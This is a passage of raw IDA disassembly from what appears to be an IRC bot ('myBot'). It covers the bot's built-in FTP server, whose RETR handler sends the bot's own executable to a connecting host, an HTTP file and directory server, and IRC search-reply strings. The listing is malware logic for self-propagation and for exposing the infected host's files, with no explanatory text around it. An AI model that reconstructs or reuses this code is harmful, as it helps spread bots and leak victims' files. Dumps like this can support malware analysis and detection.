ecx jnz short loc_405731 lea eax, [ebp+var_334] push offset aA ; "A" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_405731 push esi push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_4059A8 ; --------------------------------------------------------------------------- loc_405731: ; CODE XREF: sub_4053D6+335j ; sub_4053D6+34Cj lea eax, [ebp+Str1] push offset aType ; "TYPE" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40576C lea eax, [ebp+var_334] push offset aI ; "I" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40576C push esi push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" jmp loc_4059A8 ; --------------------------------------------------------------------------- loc_40576C: ; CODE XREF: sub_4053D6+370j ; sub_4053D6+387j lea eax, [ebp+Str1] push offset aPasv ; "PASV" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4057BA push 0Ah mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... pop ecx lea edi, [ebp+var_124] rep movsd push eax lea eax, [ebp+var_124] push eax ; Str movsw call _strlen pop ecx push eax lea eax, [ebp+var_124] loc_4057AA: ; CODE XREF: sub_4053D6+423j push eax push [ebp+arg_0] call ebx ; send xor esi, esi loc_4057B2: ; CODE XREF: sub_4053D6+4F3j mov edi, [ebp+arg_0] jmp loc_4059AB ; --------------------------------------------------------------------------- loc_4057BA: ; CODE XREF: sub_4053D6+3ABj lea eax, [ebp+Str1] push offset aList ; "LIST" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4057FB push 5 mov esi, offset a226TransferCom ; "226 Transfer complete\n" pop ecx lea edi, [ebp+var_C4] rep movsd movsw push eax lea eax, [ebp+var_C4] push eax ; Str movsb call _strlen pop ecx push eax lea eax, [ebp+var_C4] jmp short loc_4057AA ; --------------------------------------------------------------------------- loc_4057FB: ; CODE XREF: sub_4053D6+3F9j lea eax, [ebp+Str1] push offset aPort ; "PORT" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz loc_4058CE lea eax, [ebp+var_2D0] push eax lea eax, [ebp+Str] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+Dst] push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax ; Src call _sscanf lea eax, [ebp+Str] push eax ; Str call _atoi mov edi, eax lea eax, [ebp+var_2D0] push eax ; Str call _atoi mov [ebp+var_8], eax push 32h ; Size lea eax, [ebp+Str] push esi ; Val push eax ; Dst call _memset push [ebp+var_8] lea eax, [ebp+Str] push edi push offset aXX ; "%x%x\n" push eax ; Dest call _sprintf add esp, 44h lea eax, [ebp+Str] push 10h ; Radix push esi ; EndPtr push eax ; Str call _strtoul mov [ebp+var_8], eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_48] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax ; Dest call _sprintf add esp, 24h push esi push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" push [ebp+arg_0] call ebx ; send jmp loc_4057B2 ; --------------------------------------------------------------------------- loc_4058CE: ; CODE XREF: sub_4053D6+43Aj lea eax, [ebp+Str1] push offset aRetr ; "RETR" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz loc_405989 push esi push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push edi call ebx ; send push [ebp+var_8] lea eax, [ebp+var_48] push eax call sub_4059D9 pop ecx cmp eax, 1 pop ecx jnz short loc_40597F call sub_405A56 cmp eax, 1 jnz loc_4059AB push esi push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" push edi call ebx ; send lea eax, [ebp+var_6D8] push eax lea eax, [ebp+var_48] push ds:dword_4397EC push eax lea eax, [ebp+var_8DC] push offset unk_429128 ; Format push eax ; Dest call _sprintf add esp, 14h cmp [ebp+var_440], esi jnz short loc_405970 push esi ; int lea eax, [ebp+var_8DC] push [ebp+var_444] ; int push eax ; int lea eax, [ebp+var_4C4] push eax ; Str push [ebp+var_6DC] ; int call sub_40D670 add esp, 14h loc_405970: ; CODE XREF: sub_4053D6+575j lea eax, [ebp+var_8DC] push eax call sub_40BF6F pop ecx jmp short loc_4059AB ; --------------------------------------------------------------------------- loc_40597F: ; CODE XREF: sub_4053D6+52Fj push esi push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_4059A8 ; --------------------------------------------------------------------------- loc_405989: ; CODE XREF: sub_4053D6+50Dj lea eax, [ebp+Str1] push offset aQuit ; "QUIT" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4059AB push esi push 1Bh push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n" loc_4059A8: ; CODE XREF: sub_4053D6+28Bj ; sub_4053D6+2AFj ... push edi call ebx ; send loc_4059AB: ; CODE XREF: sub_4053D6+3DFj ; sub_4053D6+539j ... push 64h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch loc_4059BD: ; CODE XREF: sub_4053D6+160j ; sub_4053D6+189j ... inc edi cmp edi, [ebp+var_4] mov [ebp+arg_0], edi jle loc_405504 jmp loc_4054C9 ; --------------------------------------------------------------------------- loc_4059CF: ; CODE XREF: sub_4053D6+11Ej push 1 pop eax loc_4059D2: ; CODE XREF: sub_4053D6+D0j pop edi pop esi pop ebx leave retn 4 sub_4053D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4059D9 proc near ; CODE XREF: sub_4053D6+525p var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push eax push 101h call ds:dword_4231E4 ; WSAStartup push 0 push 1 push 2 call ds:dword_423214 ; socket push [ebp+arg_0] mov ds:dword_4397E8, eax mov [ebp+var_10], 2 call ds:dword_4231DC ; inet_addr push [ebp+arg_4] mov [ebp+var_C], eax call ds:dword_423200 ; htons mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push ds:dword_4397E8 call ds:dword_42321C ; connect cmp eax, 0FFFFFFFFh jnz short loc_405A51 push ds:dword_4397E8 call ds:dword_423220 ; closesocket call ds:dword_4231E0 ; WSACleanup xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_405A51: ; CODE XREF: sub_4059D9+60j push 1 pop eax leave retn sub_4059D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405A56 proc near ; CODE XREF: sub_4053D6+531p DstBuf = byte ptr -504h Filename = byte ptr -104h push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp+Filename] push 104h push eax push 0 call ds:dword_423090 ; GetModuleFileNameA lea eax, [ebp+Filename] push offset aRb ; "rb" push eax ; Filename call _fopen mov esi, eax pop ecx test esi, esi pop ecx jz short loc_405AED test byte ptr [esi+0Ch], 10h jnz short loc_405AD1 push edi mov edi, 400h loc_405A99: ; CODE XREF: sub_405A56+78j push esi ; File push 1 ; Count lea eax, [ebp+DstBuf] push edi ; ElementSize push eax ; DstBuf call _fread add esp, 10h lea eax, [ebp+DstBuf] push 0 push edi push eax push ds:dword_4397E8 call ds:dword_423208 ; send push 1 call ds:dword_423060 ; Sleep test byte ptr [esi+0Ch], 10h jz short loc_405A99 pop edi loc_405AD1: ; CODE XREF: sub_405A56+3Bj push esi ; File call _fclose pop ecx push ds:dword_4397E8 call ds:dword_423220 ; closesocket call ds:dword_4231E0 ; WSACleanup push 1 pop eax loc_405AED: ; CODE XREF: sub_405A56+35j pop esi leave retn sub_405A56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405AF0 proc near ; DATA XREF: sub_407243+333o ; sub_40EE51+54CBo Str = byte ptr -28F0h Str1 = byte ptr -18F0h var_8F0 = dword ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h Dest = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h Dst = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call __alloca_probe mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst mov [ebp+var_14], esi call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_25C] call ds:dword_43C618 ; htons push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call ds:dword_43C698 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_405EDB mov eax, [ebp+var_254] push 10h imul eax, 234h mov ds:dword_44207C[eax], edi lea eax, [ebp+Dst] push eax push edi call ds:dword_43C644 ; bind cmp eax, 0FFFFFFFFh jz loc_405EDB push 7FFFFFFFh push edi call ds:dword_43C640 ; listen cmp eax, 0FFFFFFFFh jz loc_405EDB lea eax, [ebp+var_14] push eax push 8004667Eh push edi call ds:dword_43C6B4 ; ioctlsocket cmp eax, 0FFFFFFFFh jz loc_405EDB mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_405BC7: ; CODE XREF: sub_405AF0+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call ds:dword_43C600 ; select cmp eax, 0FFFFFFFFh jz loc_405ED6 xor esi, esi mov [ebp+var_4], esi loc_405BFD: ; CODE XREF: sub_405AF0+3DBj lea eax, [ebp+var_6F0] push eax push esi call ds:dword_43C510 ; __WSAFDIsSet test eax, eax jz loc_405EC1 cmp esi, [ebp+var_C] jnz short loc_405C7F lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call ds:dword_43C6AC ; accept cmp eax, 0FFFFFFFFh jz loc_405EC1 xor ecx, ecx test ebx, ebx jbe short loc_405C51 lea edx, [ebp+var_134] loc_405C45: ; CODE XREF: sub_405AF0+15Fj cmp [edx], eax jz short loc_405C51 inc ecx add edx, 4 cmp ecx, ebx jb short loc_405C45 loc_405C51: ; CODE XREF: sub_405AF0+14Dj ; sub_405AF0+157j cmp ecx, ebx jnz short loc_405C6E cmp ebx, 40h jnb short loc_405C6E mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_405C6E: ; CODE XREF: sub_405AF0+163j ; sub_405AF0+168j cmp eax, [ebp+var_8] jbe loc_405EC1 mov [ebp+var_8], eax jmp loc_405EC1 ; --------------------------------------------------------------------------- loc_405C7F: ; CODE XREF: sub_405AF0+126j mov edi, 1000h lea eax, [ebp+Str] push edi ; Size push 0 ; Val push eax ; Dst call _memset push edi ; Size lea eax, [ebp+Str1] push 0 ; Val push eax ; Dst call _memset add esp, 18h lea eax, [ebp+Str] push 0 push edi push eax push esi call ds:dword_43C630 ; recv test eax, eax jg short loc_405D12 push esi call ds:dword_43C6B0 ; closesocket xor ecx, ecx test ebx, ebx jbe loc_405EC1 lea eax, [ebp+var_134] loc_405CD1: ; CODE XREF: sub_405AF0+1EBj cmp [eax], esi jz short loc_405CE2 inc ecx add eax, 4 cmp ecx, ebx jb short loc_405CD1 jmp loc_405EC1 ; --------------------------------------------------------------------------- loc_405CE2: ; CODE XREF: sub_405AF0+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_405D06 lea eax, [ebp+ecx*4+var_134] loc_405CF0: ; CODE XREF: sub_405AF0+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_405CF0 loc_405D06: ; CODE XREF: sub_405AF0+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_405EC1 ; --------------------------------------------------------------------------- loc_405D12: ; CODE XREF: sub_405AF0+1C8j xor esi, esi push 104h ; Size lea eax, [ebp+Dest] push esi ; Val push eax ; Dst call _memset lea eax, [ebp+Str] mov [ebp+arg_0], esi push eax ; Str call _strlen add esp, 10h test eax, eax jbe loc_405EC1 loc_405D40: ; CODE XREF: sub_405AF0+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+Str] cmp al, 0Ah mov [ebp+esi+Str1], al jnz loc_405DE5 mov esi, offset aGet ; "GET " lea eax, [ebp+Str1] push esi ; SubStr push eax ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_405DB9 lea eax, [ebp+Str1] push eax ; Str call _strlen cmp eax, 5 pop ecx jbe short loc_405DB9 mov eax, offset asc_4293B4 ; " " push eax ; Delim push eax ; SubStr lea eax, [ebp+Str1] push esi ; SubStr push eax ; Str call _strstr pop ecx pop ecx push eax ; Str call _strstr pop ecx pop ecx push eax ; Str call _strtok push eax ; Source lea eax, [ebp+Dest] push eax ; Dest call _strcpy add esp, 10h jmp short loc_405DD0 ; --------------------------------------------------------------------------- loc_405DB9: ; CODE XREF: sub_405AF0+27Fj ; sub_405AF0+291j lea eax, [ebp+Str1] push offset asc_4293B0 ; "\r\n" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_405E04 loc_405DD0: ; CODE XREF: sub_405AF0+2C7j push edi ; Size lea eax, [ebp+Str1] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch or esi, 0FFFFFFFFh loc_405DE5: ; CODE XREF: sub_405AF0+263j inc [ebp+arg_0] lea eax, [ebp+Str] push eax ; Str inc esi call _strlen cmp [ebp+arg_0], eax pop ecx jb loc_405D40 jmp loc_405EC1 ; --------------------------------------------------------------------------- loc_405E04: ; CODE XREF: sub_405AF0+2DEj xor ecx, ecx test ebx, ebx jbe short loc_405E4E lea eax, [ebp+var_134] loc_405E10: ; CODE XREF: sub_405AF0+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_405E21 inc ecx add eax, 4 cmp ecx, ebx jb short loc_405E10 jmp short loc_405E51 ; --------------------------------------------------------------------------- loc_405E21: ; CODE XREF: sub_405AF0+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_405E45 lea eax, [ebp+ecx*4+var_134] loc_405E2F: ; CODE XREF: sub_405AF0+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_405E2F loc_405E45: ; CODE XREF: sub_405AF0+336j dec ebx mov [ebp+var_138], ebx jmp short loc_405E51 ; --------------------------------------------------------------------------- loc_405E4E: ; CODE XREF: sub_405AF0+318j mov esi, [ebp+var_4] loc_405E51: ; CODE XREF: sub_405AF0+32Fj ; sub_405AF0+35Cj lea eax, [ebp+Dest] test eax, eax jz short loc_405EBA lea eax, [ebp+var_360] push eax ; Str call _strlen mov edi, eax lea eax, [ebp+Dest] push eax ; Str call _strlen add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_405EBA and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call ds:dword_43C6B4 ; ioctlsocket push [ebp+var_254] lea eax, [ebp+Dest] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_4060CD add esp, 14h jmp short loc_405EC1 ; --------------------------------------------------------------------------- loc_405EBA: ; CODE XREF: sub_405AF0+369j ; sub_405AF0+38Fj push esi call ds:dword_43C6B0 ; closesocket loc_405EC1: ; CODE XREF: sub_405AF0+11Dj ; sub_405AF0+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_405BFD jmp loc_405BC7 ; --------------------------------------------------------------------------- loc_405ED6: ; CODE XREF: sub_405AF0+102j mov edi, [ebp+var_C] xor ebx, ebx loc_405EDB: ; CODE XREF: sub_405AF0+6Aj ; sub_405AF0+92j ... call ds:dword_43C5AC ; WSAGetLastError push eax lea eax, [ebp+var_8F0] push offset unk_42936C ; Format push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_405F21 push ebx ; int lea eax, [ebp+var_8F0] push [ebp+var_250] ; int push eax ; int lea eax, [ebp+var_5E8] push eax ; Str push [ebp+var_5EC] ; int call sub_40D670 add esp, 14h loc_405F21: ; CODE XREF: sub_405AF0+40Cj lea eax, [ebp+var_8F0] push eax call sub_40BF6F pop ecx push edi call ds:dword_43C6B0 ; closesocket push [ebp+var_254] call sub_417064 pop ecx push ebx call ds:dword_423050 pop edi pop esi pop ebx sub_405AF0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405F4B proc near ; DATA XREF: sub_4060CD+246o Str = byte ptr -1654h Source = byte ptr -654h Dest = byte ptr -550h var_44C = dword ptr -44Ch Format = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call __alloca_probe mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+Format] push eax ; Format lea eax, [ebp+Dest] push eax ; Dest call _sprintf lea eax, [ebp+var_2C4] push eax ; Format lea eax, [ebp+Source] push eax ; Dest call _sprintf xor edi, edi add esp, 10h cmp [ebp+var_A4], edi jz short loc_405FB0 push offset aTextHtml ; "text/html" jmp short loc_405FB5 ; --------------------------------------------------------------------------- loc_405FB0: ; CODE XREF: sub_405F4B+5Cj push offset aApplicationOct ; "application/octet-stream" loc_405FB5: ; CODE XREF: sub_405F4B+63j lea eax, [ebp+var_9C] push eax ; Dest call _sprintf pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi call ds:dword_423098 ; GetDateFormatA lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call ds:dword_423094 ; GetTimeFormatA lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_40602E lea eax, [ebp+var_9C] push eax lea eax, [ebp+Str] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax ; Dest call _sprintf add esp, 24h jmp short loc_40604F ; --------------------------------------------------------------------------- loc_40602E: ; CODE XREF: sub_405F4B+C4j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+Str] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax ; Dest call _sprintf add esp, 28h loc_40604F: ; CODE XREF: sub_405F4B+E1j lea eax, [ebp+Str] push edi push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str] push eax push [ebp+var_44C] call ds:dword_43C668 ; send cmp [ebp+var_A4], edi jnz short loc_40608F lea eax, [ebp+Dest] push eax push [ebp+var_44C] call sub_4069FF pop ecx pop ecx jmp short loc_4060AC ; --------------------------------------------------------------------------- loc_40608F: ; CODE XREF: sub_405F4B+12Cj lea eax, [ebp+Source] push eax ; Source push edi ; int push [ebp+var_44C] ; int lea eax, [ebp+Dest] push eax ; Str call sub_40637D add esp, 10h loc_4060AC: ; CODE XREF: sub_405F4B+142j push [ebp+var_44C] call ds:dword_43C6B0 ; closesocket push [ebp+var_B4] call sub_417064 pop ecx push edi call ds:dword_423050 pop edi pop esi sub_405F4B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4060CD proc near ; CODE XREF: sub_405AF0+3C0p Source = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h Format = byte ptr -314h var_211 = byte ptr -211h Dst = byte ptr -210h Str = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst mov [ebp+var_4], edi call _memset mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_406103 push eax push offset aS_9 ; "\\%s" jmp short loc_40610C ; --------------------------------------------------------------------------- loc_406103: ; CODE XREF: sub_4060CD+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_40610C: ; CODE XREF: sub_4060CD+34j lea eax, [ebp+Str] push eax ; Dest call _sprintf add esp, 0Ch lea eax, [ebp+Str] xor esi, esi xor ebx, ebx push eax ; Str call _strlen test eax, eax pop ecx jbe short loc_4061A7 mov [ebp+arg_8], 2 loc_406137: ; CODE XREF: sub_4060CD+D8j lea eax, [ebp+Str] push eax ; Str call _strlen cmp [ebp+arg_8], eax pop ecx jnb short loc_406177 cmp [ebp+esi+Str], 25h jnz short loc_406177 cmp [ebp+esi+var_10B], 32h jnz short loc_406177 cmp [ebp+esi+var_10A], 30h jnz short loc_406177 inc esi mov [ebp+ebx+Dst], 20h inc esi add [ebp+arg_8], 2 jmp short loc_406191 ; --------------------------------------------------------------------------- loc_406177: ; CODE XREF: sub_4060CD+7Aj ; sub_4060CD+84j ... mov al, [ebp+esi+Str] cmp al, 2Fh jnz short loc_406187 push 5Ch pop eax jmp short loc_40618A ; --------------------------------------------------------------------------- loc_406187: ; CODE XREF: sub_4060CD+B3j movsx eax, al loc_40618A: ; CODE XREF: sub_4060CD+B8j mov [ebp+ebx+Dst], al loc_406191: ; CODE XREF: sub_4060CD+A8j lea eax, [ebp+Str] inc esi inc [ebp+arg_8] push eax ; Str inc ebx call _strlen cmp esi, eax pop ecx jb short loc_406137 loc_4061A7: ; CODE XREF: sub_4060CD+61j lea eax, [ebp+Dst] push eax lea eax, [ebp+Format] push [ebp+arg_4] push offset aSS_2 ; "%s%s" push eax ; Dest call _sprintf lea eax, [ebp+Format] push offset asc_429660 ; "\n" push eax ; Str call _strtok add esp, 18h lea eax, [ebp+Format] push eax call ds:dword_4230A4 ; GetFileAttributesA push 1 cmp eax, 10h pop esi jz short loc_4061F5 cmp eax, 0FFFFFFFFh jnz short loc_4061F8 push [ebp+arg_0] jmp short loc_406274 ; --------------------------------------------------------------------------- loc_4061F5: ; CODE XREF: sub_4060CD+11Cj mov [ebp+var_4], esi loc_4061F8: ; CODE XREF: sub_4060CD+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_406205 mov [ebp+var_4], esi loc_406205: ; CODE XREF: sub_4060CD+133j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_40627F cmp [ebp+arg_C], edi jz short loc_406273 lea eax, [ebp+Format] push offset asc_42965C ; "*" push eax ; Dest call _strcat lea eax, [ebp+Format] push eax ; Format lea eax, [ebp+var_640] push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Str call sub_406ABC lea eax, [ebp+Dst] push eax ; Format lea eax, [ebp+var_53C] push eax ; Dest call _sprintf add esp, 1Ch or [ebp+var_330], 0FFFFFFFFh mov [ebp+var_31C], esi jmp short loc_4062CE ; --------------------------------------------------------------------------- loc_406273: ; CODE XREF: sub_4060CD+14Fj push ebx loc_406274: ; CODE XREF: sub_4060CD+126j call ds:dword_43C6B0 ; closesocket jmp loc_406376 ; --------------------------------------------------------------------------- loc_40627F: ; CODE XREF: sub_4060CD+14Aj push edi push edi push 3 push edi push esi lea eax, [ebp+Format] push 80000000h push eax call ds:dword_423080 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4062CE lea eax, [ebp+Format] push eax ; Format lea eax, [ebp+var_640] push eax ; Dest call _sprintf pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi call ds:dword_4230A0 push esi mov [ebp+var_330], eax call ds:dword_423074 loc_4062CE: ; CODE XREF: sub_4060CD+1A4j ; sub_4060CD+1CFj mov esi, [ebp+arg_10] lea eax, [ebp+Source] push esi push offset unk_42961C ; Format push eax ; Dest call _sprintf push edi ; int lea eax, [ebp+Source] push 3 ; int push eax ; Source call sub_416D48 mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov ds:dword_442074[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_405F4B push edi push edi call ds:dword_42309C mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov ds:dword_442084[ecx], eax jz short loc_406348 loc_406336: ; CODE XREF: sub_4060CD+279j cmp [ebp+var_318], edi jnz short loc_406376 push 5 call ds:dword_423060 ; Sleep jmp short loc_406336 ; --------------------------------------------------------------------------- loc_406348: ; CODE XREF: sub_4060CD+267j push ebx call ds:dword_43C6B0 ; closesocket call ds:dword_423088 ; RtlGetLastWin32Error push eax lea eax, [ebp+Source] push offset unk_4295D4 ; Format push eax ; Dest call _sprintf lea eax, [ebp+Source] push eax call sub_40BF6F add esp, 10h loc_406376: ; CODE XREF: sub_4060CD+1ADj ; sub_4060CD+26Fj pop edi pop esi xor eax, eax pop ebx leave retn sub_4060CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40637D(char *Str,int,int,char *Source) sub_40637D proc near ; CODE XREF: sub_405F4B+159p ; sub_40EE51+49C7p Dst = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h Str1 = byte ptr -35Ch var_248 = byte ptr -248h Dest = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 Str = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h Source = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst mov [ebp+var_4], ebx mov [ebp+var_8], ebx call _memset mov edi, [ebp+Str] push offset asc_429660 ; "\n" push edi ; Str call _strtok add esp, 14h cmp [ebp+arg_8], ebx jz short loc_4063DC push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi ; Count push eax ; Dest call __snprintf add esp, 14h jmp loc_4064D9 ; --------------------------------------------------------------------------- loc_4063DC: ; CODE XREF: sub_40637D+3Aj cmp [ebp+Source], ebx push edi ; Str jz loc_4064BF call _strlen mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi ; Count push eax ; Dest call __snprintf add esp, 14h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_43C668 ; send push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_43C668 ; send push edi ; Str call _strlen push 3Ch push 96h mov byte ptr [eax+edi], 2Ah push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi ; Count push eax ; Dest call __snprintf add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_43C668 ; send push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi ; Count push eax ; Dest call __snprintf add esp, 0Ch jmp short loc_4064D9 ; --------------------------------------------------------------------------- loc_4064BF: ; CODE XREF: sub_40637D+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi ; Count push eax ; Dest call __snprintf add esp, 10h loc_4064D9: ; CODE XREF: sub_40637D+5Aj ; sub_40637D+140j lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, 